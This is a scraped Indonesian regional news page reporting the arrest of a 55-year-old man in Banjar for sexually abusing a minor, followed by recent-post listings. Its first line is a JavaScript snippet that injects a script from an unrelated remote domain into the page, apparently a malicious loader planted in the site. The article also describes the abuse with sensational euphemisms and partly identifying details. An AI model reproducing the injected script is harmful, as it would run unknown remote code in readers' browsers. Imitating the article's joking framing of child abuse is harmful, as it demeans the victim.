(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pria 55 Tahun Ini Coba Masukan ‘Si Burung’ Bukan ke ‘Sangkarnya’


MARTAPURA , Kasus pencabulan anak di bawah umur kembali terjadi, kali ini Polsek Kertak Hanyar mengungkap pencabulan anak di bawah umur yang terjadi di  Desa Simpang Empat, Kecamatan Kertak Hanyar, Kabupaten Banjar.

Kapolres Banjar AKBP Takdir Mattanete melalui Kapolsek Kertak Hanyar Iptu Prastya Yana WA mengungkapkan, kejadian miris tersebut terjadi pada hari Sabtu (4/8) sekitar pukul 22.30 Wita, namun baru dilaporkan orang tua korban setelah 2 hari berselang dari kejadian tersebut.

“Aksi persetubuhan itu terjadi hari Sabtu pekan lalu, tapi baru dilaporkan pada hari Selasa kemarin sekitar pukul 12.30 Wita,” ungkap Kapolsek Kertak Hanyar, Kamis (9/8).

Pelaku yaitu AH (55), yang tercatat sebagai warga Jalan Prona IV No 02 RT 34 RW 002 Kelurahan Pemurus Baru, Kecamatan Banjarmasin Selatan, Kota Banjarmasin. AH diketahui kesehariannya berprofesi sebagai buruh  harian lepas.

Orang tua korban sendiri baru mengetahui peristiwa itu setelah anaknya RA, memberitahukan bahwa dirinya telah dicabuli AH di dalam kamarnya dengan melepaskan baju.

Tidak sampai di situ pelaku AH, kemudian melepas celana dan langsung menciumi pipi RA lalu memasukkan ‘si burung’ ke dalam ‘sangkar yang bukan tempatnya’.

Sebelum akhirnya selesai, AH segera memasang kembali celananya karena kerabat RA datang ke rumah. Mengetahui kondisi sudah tidak aman AH kemudian pergi meninggalkan rumah. Tidak terima kejadian itu pada anaknya, orang tua korban kemudian melapor ke Polsek Kertak Hanyar.

Petugas Polsek Kertak Hanyar dengan sigap melakukan pencarian terhadap AH yang sudah diketahui identitasnya tersebut. Alhasil, pria setengah abad lebih itu berhasil diringkus dan digiring Mapolsek Kertak Hanyar guna proses hukum lebih lanjut.

Kapolsek Kertak Hanyar Iptu Prastya Yana WA menghimbau kepada masyarakat khususnya orang tua untuk lebih mengawasi dan memantau anak-anak di rumah maupun di luar rumah, agar terhindar dari pelaku pelaku kejahatan seksual.

“Lindungi anak anak kita dengan selalu mengawasi setiap kegiatannya, dimanapun dan kapanpun apalagi kalau masih di bawah umur. Lebih komunikatif orang tua kepada anak,” pungkasnya.

Untuk pelaku AH sendiri dijerat dengan pasal 81 ayat 2 sub pasal 76 huruf b tentang perlindungan anak dengan ancaman maksimal 15 tahun penjara. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

5 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

5 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

6 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

7 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

7 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

11 jam ago

This website uses cookies.